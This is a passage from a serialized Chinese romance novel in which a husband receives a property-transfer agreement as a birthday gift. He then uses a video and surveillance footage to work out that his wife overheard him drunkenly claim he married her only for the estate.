Birthday”的字母灯牌和闪亮彩带。 空气里弥漫着清雅的玫瑰香。 房间中央的矮几上,摆放着一个不算精致的蓝莓蛋糕,上面插着一枚简单的数字蜡烛——27! 这一切显然经过精心布置,每一处细节都透着用心与爱意。 陆京洲完全愣住了,脚步钉在原地,怔怔地看着这满室的璀璨与温馨。 这么多年,他早已习惯生日只是日历上一个寻常数字,甚至刻意忽略。 他从未想过,有一天,自己会成为被这样郑重对待,被惊喜包围的主角。 心脏像是被一只温暖的手轻轻攥住,酸涩与滚烫的暖流交织着汹涌而上,冲撞着他的胸腔,喉咙发紧。 他猛地转身。 只见岑予衿并没有听话地站在原地,而是不知何时已经跟了过来,此刻正慵懒地倚在门边的墙壁上,暖融的光晕勾勒着她柔和的侧脸线条。 手里抱着一束茉莉白玫瑰。 她的唇角弯起明媚的弧度,正一眨不眨地望着他,眸子里盛满了细碎的光和毫不掩饰的爱意。 见他看过来,她歪了歪头,将手里的花束递给她,声音软软的,“阿洲,生日快乐!” 第134章 在一起还是分开,我尊重你的选择 陆京洲的目光落在那束递到眼前的茉莉白玫瑰上。 花朵洁白无瑕,花瓣上还带着细密的水珠,在暖黄的灯光下折射出晶莹的光泽。 清雅的香气混合着玫瑰的芬芳,丝丝缕缕地钻入鼻尖。 他像是被定住了,视线从花束缓缓移到岑予衿含笑的眼睛里。 喉结再次重重地滚动了一下,才伸出手,动作竟有些小心翼翼的僵硬,接过了那束花。 花束不重,落在他掌心却仿佛有千钧之重。 他低头看着怀中这抹纯净的白色,指尖无意识地摩挲着柔嫩的花瓣,触感细腻微凉。 “花?”他低喃出声,声音哑得厉害,带着一种难以置信的恍惚,“给我的?” 岑予衿看着他难得一见的怔忡模样,心尖软成一片,用力点头,“嗯!给你的。” 她走上前一步,微微仰头看着他,“喜欢吗?” 陆京洲点点头,视线就没从那束花上离开过,他没有立刻回答,依旧低着头,看着怀中的花束,看了许久。 久到岑予衿以为他不是很喜欢喜欢,有些忐忑地想要开口时,他才终于抬起头。 那双深邃的眼眸此刻清晰地映着她的身影,以及她身后温暖的灯光和满室的惊喜。 眼眶周围似乎泛起了一圈极淡的红,眼底翻涌着过于浓烈复杂的情绪。 “喜欢。”他终于开口,声音依旧沙哑,却异常清晰坚定,“很喜欢。” 他顿了顿,目光再次落回花上,嘴角牵起一个极浅却真实到有些脆弱的弧度,“这是我第一次收到花。” 不是第一次收到礼物,但确确实实,是第一次有人送他花。 带着浪漫仪式感、纯粹表达心意的礼物,似乎从来与他冷硬的世界无关。 原来收到花的感觉,是这样的。 暖暖的,甜甜的,酸酸的,让整颗心都胀满了。 岑予衿看着他微微泛红的眼眶和那带着珍视神情的侧脸,鼻腔也跟着一酸。 她想起他过往的孤独,想起他总是一个人扛起所有的背影,还那么小,就得提防着所有人,身上透着同龄人没有的承受。 她伸出手,轻轻覆上他拿着花束的手背。 “那以后每年生日,我都送你花。”她声音轻轻的,却带着最郑重的承诺,“不,不只是生日。以后每个值得纪念的日子,或者……随便哪一天,只要我想,就送你花。送你很多很多漂亮的花,把以前没送过的,都补上。” “笙笙……” 岑予衿打断了他的话,“快点吧!菜都要凉了,我陪你切蛋糕许愿,不过这个蛋糕可没有你送我的精致,你不要嫌弃哦~” 陆京洲等视线落在了那个蓝莓蛋糕上,确实不像蛋糕店里看到的那么精致,“是你亲手做的?” 岑予衿点了点头,“做了好多个,才成了一个,你知道的,我对这种向来没什么天赋,不过,明年我肯定能做的很好。” 她将他按坐在铺着柔软地毯的矮几前,自己则跪坐在他旁边,拿起打火机,点燃了蛋糕上那枚“27”的数字蜡烛。 暖黄的火苗跳动,映亮两人靠在一起的身影。 “这次,只许你自己的愿望。”岑予衿托着腮,笑眯眯地看着他。 陆京洲看着她,又看了看怀中洁白的花束,然后依言闭上眼睛。 愿望吗?似乎已经实现了大半。 剩下的,也无非是关于她和宝宝们的长久平安喜乐。 他在心中默念完毕,然后睁开眼,在岑予衿期待的目光中,吹灭了蜡烛。 “老公生日快乐。”岑予衿凑过去,在他脸颊印上一个响亮的吻。 陆京洲侧过头,精准地捕捉到她的唇,给了她一个短暂却深刻的回吻,“谢谢。” 暖黄的灯光把餐厅照得格外温馨,赵姐系着围裙从厨房端出最后一道红烧鲈鱼,笑着开口,“少爷,少夫人,菜都齐了,快趁热吃。” 满桌的菜色荤素搭配得宜,糖醋排骨裹着亮闪闪的酱汁,清炒时蔬泛着翠绿的光泽,每一道都透着家的烟火气。 岑予衿眼睛一亮,想起什么似的起身,“等我一下!还有个重要的东西没端来。” 她快步钻进厨房,没多久就端着一个白瓷碗出来,碗里卧着一碗热气腾腾的长寿面,面条上用胡萝卜刻着“生日快乐”四个字,卖相算不上精致,甚至面条还微微有些坨,但胜在心意十足。 “你看!”她把碗放到陆京洲面前,眼底闪着邀功的光,“以前都是你变着法给我做饭,今天轮到我给你做长寿面了,而且……” 她狡黠地弯了弯眼,“你生日我也沾光,咱俩一块吃。” 陆京洲的目光落在“生日快乐”上,喉间又涌上一股热意。 他拿起筷子,先夹起一筷子面递到岑予衿嘴边,声音温柔得能滴出水来,“你先尝。” 岑予衿咬了一口,自己都忍不住皱了皱眉——盐好像放多了点,面条的口感也偏软。 她有点不好意思地挠挠头,“好像……味道一般。” 陆京洲却像是尝到了什么珍馐,又夹起一筷子送进自己嘴里,细细咀嚼后认真点头,“很好吃,是我吃过最好的长寿面。” 他没说谎,这碗面里裹着的心意,比任何山珍海味都珍贵。 两人就着一个碗,你一筷子我一筷子地分着那碗不算成功的长寿面,偶尔指尖相碰,便相视一笑。 赵姐的手艺很好,岑予衿都吃了不少。 吃饱喝足,陆京洲带她到了院子里,他准备了漫天烟花绽放,还有无人机表演。 特别漂亮。 岑予衿看着他的侧脸,犹豫了一下,还是跑回屋拿出了一份文件。 “阿洲,我不知道你会不会喜欢这份礼物,也不知道收到这份礼物咱们俩还能不能像现在这样,可是只要收到这份礼物,你开心就好。 陆京洲皱眉,一时想不出来,她说的到底是什么,“这是什么?我能现在拆开看吗?” 岑予衿握住了他的手,“不能,你去书房看,至于要在一起还是分开,我尊重你的选择。” 他说过他娶她只是为了檀月山庄。 拿到了檀月山庄,分开也好,继续在一起也好,她都同意。 第135章 是想挑拨离间吗? 陆京洲听得莫名其妙的,怎么就谈到分开不分开的问题了? 这里面到底是什么,离婚协议他不是早就撕掉了吗? 分开是绝对不可能的! 不过相处了这么久,从她这么说来看就知道,里面的东西肯定很重要。 要不然,她不会把它当成生日礼物送给他,也不会扯到他们俩会不会分开。 现在他可以明确的告诉她,他们绝对不会分开! “笙笙,我……” 岑予衿抬手捂住了他的嘴巴,“等你看了再说好不好?到时候,你告诉我,你最终的决定就好。” 陆京洲单手将她搂进怀里,“笙笙,如果里面的东西关系到我们会不会分开,那我不打开了好不好?我们以这样的关系继续相处,好不好?” 岑予衿想到了他皇都说的那些话。 说实话,她是真的很害怕。 她害怕这段时间的相处也是假的。 害怕他现在说的这些,也只是为了拿到檀月山庄。 这件事情就像扎在她心里的一根刺,不论如何,必须拔掉。 岑予衿回抱住了他,“其实里面也不是什么不好的东西,等你看了你就知道了,我早就想拿给你了,只是一直没有找到机会,阿洲……生日快乐!” 陆京洲怀中一空,那份文件被岑予衿轻轻按在他胸口。 她踮起脚尖,飞快地在他唇上啄了一下,那触感温软而短暂,像一片带着温度的羽毛。 “今天先到这里。”她看着他,眼睛里映着未散尽的烟花余烬和庭院里暖融融的地灯,亮得惊人,也深得惊人,“今天是我最开心的一天,再让我开心一天,好不好?答案……明天再告诉我。” 这个生日对她来说纪念意义重大,她不想影响心情,如果是好的答案,那还好。 如果是不好的答案呢? 她不想做决定,不想赌,只想逃避。 哪怕是逃避一天也行。 岑予衿叹了口气,往后退了一小步,笑容依旧明媚,却像蒙上了一层易碎的琉璃壳。 “晚安,阿洲。”她轻声说,声音里带着一丝不易察觉的颤抖,“明天见,我去洗漱睡觉了,你慢慢看,想清楚了再告诉我答案。” 说完,她不再给他任何追问或挽留的机会,转身快步走进了屋内。 背影挺直,脚步却有些仓促,仿佛怕慢一步,就会听到自己不想听的答案。 陆京洲站在原地,掌心下那份文件的存在感变得无比强烈,几乎要灼伤他的皮肤。 夜风裹挟着凉意,却吹不散他心头的纷乱。 有很多疑问。 为什么是现在? 为什么她笃定这份礼物会让他们面临分开的可能? 她到底在里面放了什么? 不是离婚协议,那会是什么? 究竟是什么,让她觉得需要以礼物的形式送出? 她最后那个吻,那个眼神,那句“明天再告诉我答案”。 所有的细节都拧成一股绳,紧紧勒住他的心脏,让他呼吸都有些难受。 陆京洲在夜风中又站了片刻,直到二楼卧室的灯光熄灭,那扇窗户彻底归于静谧的黑暗。 他收回目光,低头看向手中的文件袋,明明很轻很轻,却仿佛重逾千斤。 他听她的话。 没有立刻追上去,没有在今晚非要一个答案。 他转身,脚步略显沉重地走向书房。 每一步都踏在柔软的地毯上,悄无声息,却在他心里踩出沉闷的回响。 推开书房厚重的木门,他没有开大灯,只拧亮了书桌一角那盏复古的台灯。 暖黄的光晕洒下一小片区域,像舞台的聚光灯,照亮了那份未知的礼物。 他走到书桌后,没有立刻坐下,而是将文件袋轻轻放在了光晕中央。 他就那样站着,垂眸凝视着它,仿佛要看穿那层牛皮纸,看清里面到底装了什么。 犹豫了半晌。 指尖抬起,又落下。 纠结到不敢打开这份礼物。 脑海里闪过她今晚所有的笑容,她递花时闪亮的眼睛,她凑近吹蜡烛时温热的呼吸。 她分享长寿面时狡黠又满足的神情,还有烟花下她仰头看他时,眼底映出的璀璨星光。 这一切的美好,难道都要与这份文件里的内容挂钩吗? 他闭了闭眼,再睁开时,眼底只剩下沉静的决绝。 无论是刀山火海,还是他猜想的那种最坏的可能,他都必须面对。 这是她给他的考题,他不能逃避。 反正,她说了分开也好,在一起也好,她都同意。 那他的答案永远只有一个:在一起,绝对不分开! 陆京洲缓缓坐下,修长的手指终于落在了文件袋的绕线上。 他动作很慢,绕着的线,一圈一圈解开。 线绳松开,袋口完全敞开。 他伸手进去,触到光滑的纸张。将它们拿了出来,放在了台灯之下。 暖光清晰地照亮了首页的标题—— 《檀月山庄产权及管理权无偿转让协议》 白纸黑字,清晰得刺眼。 陆京洲的瞳孔骤然收缩,呼吸在那一瞬间停滞。 这是他从来没有想过的…… 从来没有。 当这份协议真真切切出现在眼前时,那股冲击力远超他的预期。 他的目光死死钉在那行字上,然后迅速下移。 转让方:周芙笙! 她的签名熟悉而娟秀,力透纸背,日期已经是两个月前了。 他记得很清楚,是在周时越替她挡了一刀之后,他不敢面对她躲到国外的那个月。 他在国外待了一个月,现在回来已经一个月了。 所以是两个月前,她就已经签了这份转让协议! 旁边是鲜红的指印。 附页是各种产权证明的复印件,还有一份公证文书,声明此赠与系自愿,无任何附加条件。 而受让方那一栏是他的名字。 喉结剧烈地滚动了一下,陆京洲感觉一股滚烫的热流猛地冲上眼眶,又被狠狠压了回去。 心脏像是被一只冰冷的手攥住,反复揉捏,疼得他指尖都在发麻。 原来是这样。 这就是她说的“不是什么不好的东西”。 在她看来,这是她能给他最好的东西,是他想要的东西。 他回国的目的就是为了这座庄园。 她用这种方式,把她最珍贵的东西捧到他面前。 这确实是自己最想要的,可跟两人分不分开有什么必要关系? 他从来没有在她面前说过。 她又是怎么知道的? 他老婆不会无缘无故的跟他说这些,她一定是知道了点什么,他能肯定。 陆京洲猛地将协议拍在桌面上,纸张发出“啪”的一声脆响。 他低下头,双手插入发间,用力揪住了自己的头发。 胸膛剧烈起伏,那股混杂着心疼、懊悔、愤怒和深深爱意的情绪几乎要将他吞噬。 但下一秒,更强烈的念头压倒了所有——他必须立刻见到她,现在,马上! 不能再等了。 什么明天,什么慢慢想清楚,都是狗屁! 多等一秒,都是对她这份沉重心意的辜负,都是放任她在不安和猜测中多煎熬一秒。 他“唰”地站起身,椅子腿与地板摩擦发出刺耳的声响。 他甚至顾不上再看那份协议一眼,更顾不上整理自己纷乱的心绪和略显狼狈的外表,转身大步流星地离开了书房。 走廊里只亮着几盏夜灯,光线昏暗。 他的脚步声在寂静中显得格外清晰,带着不容置疑的急切。 他冲到了主卧门前,手搭在门把手上,却又在按下前停住了。 万一她已经睡了? 他刚才在楼下站了那么久,卧室的灯早就灭了。 陆京洲深吸一口气,动作放轻,极其缓慢地拧动了门把手。 门锁发出轻微的“咔哒”声,没有反锁。 他心头一松,又涌上更深的酸涩。 他推开一条缝隙,侧身闪了进去。 室内一片黑暗,只有窗帘缝隙透进一点庭院地灯的微光,勉强勾勒出家具的轮廓。 空气里弥漫着淡淡的茉莉花香,混合着一丝若有似无的属于她的气息。 陆京洲适应了一下黑暗,目光急切地投向大床中央。 岑予衿侧卧着,背对着门的方向,蜷缩成一团,被子盖到下巴,只露出柔软的发顶。 呼吸均匀绵长,看起来睡得很沉。 “笙笙?”他压低声音,试探着唤了一声。 没有回应,只有平稳的呼吸声。 他走到床边,借着微弱的光线,看到她紧闭的双眼,长睫在眼下投下一小片阴影,眉头却微微蹙着,即使在睡梦中,似乎也并不安稳。 他伸出手,指尖轻轻拂过她柔嫩的脸颊,触感冰凉。 动作极尽温柔,生怕惊醒她,又恨不得立刻将她拥入怀中,吻去她所有的不安。 “老婆?”他又唤了一声,声音更轻,带着难以抑制的沙哑。 床上的人儿只是无意识地动了一下,将脸更深地埋进枕头里,发出一声含糊的呓语,没有醒来的迹象。 陆京洲在床边缓缓蹲下,就着那一点微光,贪婪地凝视着她的睡颜。 他必须在明天之前搞清楚这到底是怎么一回事儿。 毕竟……虽然一开始的时候他真的是这么想的,娶她只是为了檀月山庄,但他从来没有提过。 是谁告诉她的? 是出于什么目的? 是想挑拨离间吗?! 第136章 真是个彻头彻尾的傻瓜! 陆京洲眼底的温柔瞬间被含义所覆盖,在她的额头上落下一吻。 轻轻放下手,没有试图叫醒她,而是悄无声息地站起身。 他最后深深看了她一眼,仿佛要将她此刻的模样刻进心底,然后决然转身,再次离开了卧室,并小心地带上了门。 黑暗中,岑予衿缓缓睁开了眼睛。 那双眸子里没有半分睡意。 她其实一直没睡着。 从他站在门外犹豫,到他推门进来,到他蹲在床边轻声呼唤,到他指尖的触碰,每一秒,她都清醒地感知着。 她只是不知道该如何面对。 把那份协议交出去,几乎耗尽了她在生日这天积攒的所有勇气。 她像个交出最后筹码的赌徒,忐忑地等待着命运的裁决。 她想听答案,又怕听到答案。 所以选择了最懦弱的方式——假装睡着。 把决定权交给他,也把难熬的等待延长到明天。 可当他真的来到床边,带着一身夜风的凉意和无法掩饰的急切靠近时,她的心还是无法控制地揪紧了。 她能感觉到他目光的灼热,他指尖的微颤,他呼吸里的压抑。 还有那两声轻唤里,几乎要溢出来的复杂难言的情绪。 岑予衿轻轻坐起身,抱着膝盖,望向紧闭的房门。 他那么着急地离开,是去做什么? 陆京洲娶她,对她好的不能再好,为的不就是这一刻吗? 他母亲留给他唯一的遗物,对他来说意义非凡的檀月山庄。 为什么真的拿到了,他会是这样的表现。 一个她几乎不敢触碰的念头,悄悄从心底最深处冒了出来。 难道…… 难道她在皇都听到的那些话是假的,根本就不是什么酒后吐真言! 难道他……是真的…… 她猛地摇头,将这个过于奢侈的猜想压了下去。 不能乱想。 期望越大,失望时的落差就越大。 她已经跌落过一次了,不能再承受一次。 可是,如果他真的只是为了檀月山庄,他现在应该留在书房,仔细核对协议条款,或者立刻联系律师,确保万无一失。 而不是那样失魂落魄地冲到她床边,用那种仿佛即将失去一切的眼神看着她,然后又匆匆离去。 他去了哪里? 岑予衿掀开被子,赤脚踩在微凉的地板上,走到窗边,轻轻掀开厚重窗帘的一角。 庭院里灯火阑珊,烟花燃尽后的夜空恢复了深沉的墨蓝。 她看到陆京洲修长挺拔的身影出现在主宅门口,他没有叫司机,而是径直走向车库。 很快,那辆熟悉的黑色轿车亮起车灯,引擎发出低沉的轰鸣,划破夜空的寂静,飞快地驶出了檀月山庄的大门,尾灯迅速消失在蜿蜒的山路尽头。 方向,是往市区去的。 这么晚了,他去市区做什么? 去找谁? 岑予衿死死咬着唇瓣,直到看不见车子的尾灯,才麻木的回到了床上,小心翼翼的摸着自己的肚子。 …… 皇都顶层的私人包厢,隔绝了楼下隐约的靡靡之音。 陆京洲推门进去时,程凌晟正歪在宽大的真皮沙发里,眼皮打架。 傅星驰倒是坐得还算端正,指尖夹着半支没点燃的烟,神色间也带着被深夜惊扰的倦意。 “我说陆大少爷,”程凌晟打了个哈欠,声音含混,“你这大半夜的唱哪出啊?生日不抱着嫂子温存,跑这儿来折腾我们两个孤家寡人?” 傅星驰抬了抬眼皮,视线落在陆京洲脸上。 灯光下,陆京洲的脸色沉得吓人,眼底布满红血丝,额发微乱,连衬衫领口都敞开了一颗扣子,全然没有了平日里的矜贵从容。 手里紧紧攥着一个牛皮纸文件袋,指关节因为用力而泛白。 “出什么事了?”傅星驰敏锐地察觉到不对劲,坐直了身体,那支烟被他随手搁在了水晶烟灰缸边。 陆京洲没说话,径直走到茶几前,“砰”的一声将文件袋重重拍在光可鉴人的玻璃台面上。 声响在寂静的包厢里格外刺耳,惊得程凌晟一个激灵,睡意散了大半。 “我老婆……”陆京洲开口,声音嘶哑得厉害,像是被砂纸磨过,“她知道了。知道我要檀月山庄。” 程凌晟和傅星驰对视一眼,都在对方眼中看到了惊愕。 “知道?怎么知道的?”程凌晟皱眉,“你不是一直瞒得挺好?从来没在她面前提过。” “我也想知道她是怎么知道的!”陆京洲猛地提高音量,胸膛剧烈起伏。 他扯松了领带,仿佛这样才能喘过气,“她今晚,把签好字、按好手印的转让协议,当生日礼物送给我了!无偿转让!两个月前就签好了!” “什么?!”程凌晟彻底醒了,蹭地站起来,“无偿?两个月前?那时候你们不是正在冷战吗?” 那时候,正是周时越替岑予衿挡刀住院,陆京洲内心煎熬,远避国外的时候。 也是他们关系最微妙、最紧绷的时候。 傅星驰的脸色也彻底沉了下来,拿起那个文件袋,快速抽出里面的协议。 翻到签名页,周芙笙三个字娟秀却力透纸背,旁边的指印鲜红刺眼。 日期清清楚楚。 “她以为我娶她,对她好,都是为了这个。”陆京洲的声音低了下去,带着一种近乎绝望的自嘲,“她以为,我拿到了,我们的戏就该散了。所以她递出这份协议,是在等我一个‘判决’……甚至,她觉得我会在拿到之后,选择分开。” 程凌晟已经清醒了大半,“可是一开始的时候你不就是那么想的吗?” “别打岔,一开始我确实是这么想的,但是……我没有说过,也从来没有跟她提过檀月山庄,更没有做过什么让她误会的事情,她究竟是怎么知道的?我怀疑……” 两人立刻瞪大了双眼,往后缩了缩,向他摆着手,撇清关系,“你可不能怀疑我们啊,这件事情可跟我们一点关系都没有,我俩从来没有跟她提过这些事情。” 傅星驰点头如捣蒜,“她签这份协议的时候,我们俩还不认识她呢。” “对对对,我们俩第一次见她也是在皇都,当时你喝醉了,耍酒疯,一直叫她的名字,我们俩实在没办法,就让她来接你了。” 在这之前,他们确实一点关系都没有。 陆京洲没怀疑过他们,只是不知道该跟谁说,所以才找他们俩商量的。 有些烦躁的坐在沙发上点了支烟。 两人突然对视了1秒! 像是想到了什么! 傅星驰先开的口,“阿洲,我好像知道究竟是什么原因了?” 程凌晟紧随其后,“我好像也知道了。” 陆京洲夹着烟的手指猛地顿住,猩红的烟头险些烫到皮肤。 他倏地抬头,锐利的目光直直望向傅星驰和程凌晟。 “什么原因?”声音紧绷得像一根拉到极致的弦。 傅星驰的表情有些难以形容,像是懊恼,又带着点果然如此的恍然。 他没立刻回答,而是掏出手机,指尖在屏幕上快速滑动。 程凌晟叹了口气,揉了揉眉心,替好友补充,“阿洲,你还记得一个月前,在皇都喝得烂醉如泥那次吗?最后是嫂子接你回去的。” 陆京洲蹙眉,努力回想。 那段时间他刚回国,心里揣着事,既想靠近老婆,又怕面对她,加上工作压力,确实失控喝多了。 但具体细节,他记得很模糊。 “那天晚上,你情绪很低落,说了很多话。”傅星驰终于找到了手机里的视频,却没有立刻播放,而是将手机屏幕转向陆京洲,脸色复杂,“我们当时……看你状态不对,怕你出事,也是第一次看你那样,就……顺手录了一小段。” 陆京洲的目光落在手机屏幕上。 背景是皇都这个熟悉的包厢,画面有些摇晃,镜头对着沙发。 画面里的他,领带歪斜,衬衫领口大敞,眼神涣散迷离,手里还攥着个空酒杯,整个人颓唐而失控。 然后,他听见画面里的自己,用带着浓重醉意、咬牙切齿却又异常清晰的声音吼道,【谁说我喜欢她了?!老子只想要檀月山庄!只是为了让老太太开心多活几年,只是为了她肚子里的孩子!】 话音落下,画面里的“他”狠狠把手里的空酒杯砸向地面,玻璃碎裂的声音尖锐刺耳。 视频到此戛然而止。 包厢里死一般的寂静。 陆京洲像被人迎面打了一拳,脸色瞬间惨白,血色褪得干干净净。 他指尖的香烟无声滑落,掉在地毯上,升起一缕细微的青烟。 他仿佛能听到自己心脏骤停后疯狂擂鼓的声音,血液冲上头顶,又瞬间冰凉地倒流回四肢百骸。 原来……是这样。 不是别人恶意挑拨。 是他! 是他自己亲口说的。 “她肯定是听到了,我就说那天她眼眶怎么红红的!” 傅星驰:“八九不离十了,你去查查监控就知道了,走廊上是有监控的!” 陆京洲只觉得呼吸都停滞了。 不行,他要查监控,要弄清楚一切。 她是在用这种方式问他:现在你得到了你最初想要的,你还会要我吗?我们之间,除了这个,还剩下什么? 傻瓜。 真是个彻头彻尾的傻瓜! 第137章 扔出的回旋镖正中眉心 陆京洲也是个行动派,立刻让人去调了监控。 先看了一下他们录视频的时间,才开始调监控。 那段时间的监控,很快被人拷贝好,拿着电脑进了包间。 陆京洲也没磨蹭,将进度条调到自己老婆进门。 她在门口停顿了几秒,立刻按了暂停键,看了一下时间。 她停顿的那几秒好死不死就是他说那几句话的时间。 那时候的她已经要推门了,可是硬生生的停了下来,整个人像是僵在了原地。 眼里满是难以置信。 陆京洲将画面放大,就见她微微仰着头,眼底的泪花清晰可见。 她……哭了! 似乎……很伤心。 陆京洲看到这画面,自己的心脏也不受控制的揪紧了。 他怎么能这么混蛋? 说的都是些什么混话! 怪不得回去之后,他总感觉她怪怪的,又不知道哪里奇怪。 原来,她早就把他想要的东西转回他名下了。 也许早就想拿给他了,只是因为他溜出国,所以才没有到他手里。 一开始在他心里,他就是那种为了目的不择手段想要嫁给他的女人。 费尽心机爬上他的床! 满嘴谎话,挑不出一句真话。 可是慢慢的相处中,他发现她根本就不是这样的人,慢慢的他控制不住爱上了她。 她很乖,很细心,颜值,样貌根本没得挑。 也是这个世界上唯一一个了解他,关心他,知道他最想要的是什么的人。 在慢慢的相处中,他是真的有跟她过一辈子的打算,不是为了什么母亲的遗物檀月山庄。 因为……他们是夫妻,她的就是自己的,在谁名下都没有关系,只要离了陆家人就可以。 画面里,那个纤细的身影在门外僵硬地站了仿佛有一个世纪那么久。 然后,她像是被抽走了所有力气,缓缓地、无声地向后退了一步,两步…… 直到走到无人的位置,后背轻轻抵住冰凉华丽的墙面,才终于支撑不住,慢慢地、蜷缩着蹲了下去。 监控的角度问题,只能看到她侧对着包厢门的半个身影。 她把自己抱得很紧,脸深深埋进膝盖里,只露出一小截白皙脆弱的颈项。 走廊顶灯的光冷冷地打在她身上,投下一小团孤零零的影子。 她没有发出任何声音,但那微微颤抖的、单薄的肩膀,却比任何嚎啕大哭都更让人窒息。 陆京洲的呼吸几乎停了。 他死死盯着屏幕,眼睛一眨不眨,仿佛要将那小小一团的身影刻进心里。 他能想象到,隔着一扇门的包厢里,他醉醺醺的,着刻薄又绝情的声音还在继续。 而门外的她,正独自消化着那些足以将她凌迟的话语,独自消化着。 【谁说我喜欢她了?!老子只想要檀月山庄!只是为了让老太太开心多活几年,只是为了她肚子里的孩子!】 他当时喊得有多大声,多理直气壮,此刻就有多恨不得回到过去,掐死那个口无遮拦、混账透顶的自己。 什么为了让老太太开心? 什么为了孩子? 都是借口! 他承认他就是喜欢她,但是看到猜到了,她和周时越的关系,他还替她挡了一刀。 心里就是过不去那个坎,就是怕她会抛弃他,不要他! 他不知道该怎么去爱她,也不知道该怎么表达自己是爱她的,所以选择了逃避。 没想到犯了这么大的错! 最开始的自己,明明就是被奶奶用檀月山庄和她肚子里的孩子绑架,心不甘情不愿地接受了这段婚姻。 他把她当成一个不得不完成的任务,一个精致的摆设,一个……可以用利益衡量的筹码。 他甚至没有尝试去了解她到底是什么样的人。 可她呢? 在他看不见的地方,在他用冷漠和猜忌筑起的高墙之外,她默默承受了这一切。 她小心翼翼地揣测着他的心思,笨拙又努力地想要扮演好陆太太的角色。 她甚至……在他毫不知情就已经签下了那份无偿转让协议,在她还没听到这冰冷的话时,就把他最想要的东西,双手捧到了他面前。 她是怀着怎样的心情,在他生日这天,送出这份礼物的? 是终于解脱? 是心灰意冷? 还是……依旧抱着一丝连她自己都不曾察觉到希冀? 换位思考一下。 要是她无缘无故的消失了一个多月。 突然回国是因为自己和绯闻男友登上了热搜。 而这热搜他陆京洲看到了。 她没有解释,而是和闺蜜一起在酒吧里喝酒,大半夜还喝的烂醉。 他去接她,还在门口听到了那么伤人的话。 接受不了,压根就接受不了! 陆京洲猛地抬手,狠狠扇了自己一巴掌,“艹你大爷,老子太他妈不是人了。” 清脆的响声在寂静的包厢里炸开,惊得旁边的程凌晟和傅星驰都抖了一下。 “阿洲!”程凌晟惊呼。 陆京洲却像是感觉不到疼,那一巴掌用了十足的力气,脸颊迅速泛起红痕。可他只是死死地盯着屏幕,眼眶通红,额角青筋跳动。 “混蛋……”他咬着牙,从齿缝里挤出两个字,声音嘶哑破碎,充满了自我厌弃,“我他妈真是个彻头彻尾的混蛋!” 傅星驰最先反应过来,他一把按住陆京洲又要抬起的手臂,沉声道,“阿洲!你冷静点!现在不是自残的时候!” 程凌晟也赶紧上前,看着陆京洲脸上清晰的巴掌印和眼底的猩红,又是心疼又是着急,“就是啊!你现在把自己打死也没用!嫂子还在家等着呢,你难道想带着一脸伤回去,让她更难受吗?” 陆京洲的胸膛剧烈起伏着,攥紧的拳头指节泛白,手背上青筋暴起。 他当然知道打自己没用,可胸腔里那股几乎要将他撕裂的悔恨和心疼无处发泄,几乎要将他逼疯。 “我……”他声音颤抖,带着濒临崩溃的沙哑,“我怎么能对她说那种话?我……我算什么东西!” 她还怀着孕呢,他就让她一个人留在家。 那么长时间消息不回,电话不接,甚至没有一句解释,或者是告诉她自己去哪里了。 她该有多煎熬啊。 明明在那之前,他们俩对对方的态度都有所转变,感情也在慢慢升温…… 傅星驰用力按着他的肩膀,试图让他稳住心神,“是,你当时是混蛋,是说了混账话。但现在最重要的是补救!嫂子听到了那些话,却还是把协议签了给你,甚至在你生日这天拿出来……阿洲,这说明了什么?” 陆凌晟也接口,语气急促,生怕他再继续打自己,“说明她心里还是有你的!至少,她在给你机会,在等你的反应!她要是真死心了,真只想解脱,直接把协议甩你脸上,或者干脆提离婚不是更直接?何必用这种……让自己煎熬的方式?” 这话像是一盆冰水,让陆京洲沸腾的血液稍稍冷却了一些。 他猛地抬头,看向两个好友,眼底闪过一丝微弱的,不敢置信的光。 “你们的意思是,她……她还愿意给我机会?” “不然呢?”程凌晟抓了抓头发,“她要是真想断,早断了!何必忍到现在,还怀着两个宝宝呢?阿洲,你想想她平时的性格,是那种会死缠烂打的人吗?她今天把协议给你,就是在赌,赌你对她有没有一点真心!” 傅星驰点头,语气沉稳了些,分析道,“而且,你刚才也说了,她不敢直接面对你,怕听到不好的答案,所以把决定权交给你,把煎熬留给自己。这恰恰说明她在乎!她害怕失去!” 陆京洲的心狠狠一抽。 是啊,她那么骄傲又敏感的一个人,却选择了最隐忍、最卑微的方式来试探。 她该有多害怕? “我现在该怎么办?”陆京洲的声音里带着罕见的茫然和无措,像个迷失了方向的孩子,“我回去……我该怎么跟她说?直接道歉?说我爱她?可她……她还信吗?” 陆京洲立刻摇头,现在已经很晚了,她都睡了,还是继续把接下来的监控看完吧。 “最重要的不是说,是做,你要让她明白,你的心意,嘴上说说谁不会?” 陆京洲也知道这个道理,就是怕太晚了。 “等我把监控看完再回去。” 傅星驰点了点头,“反正也晚了,你想看就看,我们在这儿陪你。” 现在最困最累的那个劲已经过去了,也睡不着了。 程凌晟也跟着点了点头,摊到了沙发上,这会让他回家,他也不想回去,冷的要死,还不如在沙发上将就一晚,“看吧看吧。” 不对! 程凌晟一下子想起来了,自己没把门那张嘴。 他老婆出现在门口的时候,他调戏了她! 他看到她的那1秒直接呆住。 就这么直愣愣的看着她,那眼神绝对不清白。 还说了一句,【小美女~是不是找错地方了?需不需要帮忙?】 要是被陆京洲那个占有欲极强的男人,听到这话就真的完蛋了。 不过这件事情也怪他,圈子里流传的都是他老婆是个丑八怪! 谁曾想人不仅漂亮,还漂亮成那个样子,就像是画里走出的仙女一样。 【咚咚咚!】视频里的敲门声已经响了起来! 程凌晟的心咯噔一下! 第138章 我把你当兄弟,你调戏我老婆! 敲门声不轻不重,却一下又一下重重的砸在程凌晟欣赏。 陆京洲的手指悬在空格键上,盯着屏幕里那扇即将打开的门,眼底翻涌着晦暗不明的情绪。 他看到画面边缘,程凌晟的身影晃了一下,往门边凑近。 门开了。 先是一道缝隙,然后缓缓扩大。 程凌晟想要把他手里的电脑关掉,但是显然来不及了! 很快,他就看到程凌晟那张欠揍的脸出现在门口,挡住了大半画面。 程凌晟显然是喝了不少,眼神有些飘,但在看清门外人的瞬间,明显愣住了,那双带着几分玩世不恭的眼睛里,闪过毫不掩饰的惊艳。 紧接着,他那带着醉意,刻意拖长了调子的声音就从监控不算清晰的麦克风里传了出来,【小美女~是不是找错地方了?需不需要帮忙?】 他的语调轻佻,带着酒吧里搭讪时惯有的油嘴滑舌。 包厢里,死一般的寂静! 陆京洲按在空格键上的手指,骨节因为用力而泛出青白色。 他没有立刻发作,甚至没有转头去看瘫在沙发上面如死灰的程凌晟。 只是那双盯着屏幕的眼睛,黑沉得吓人。 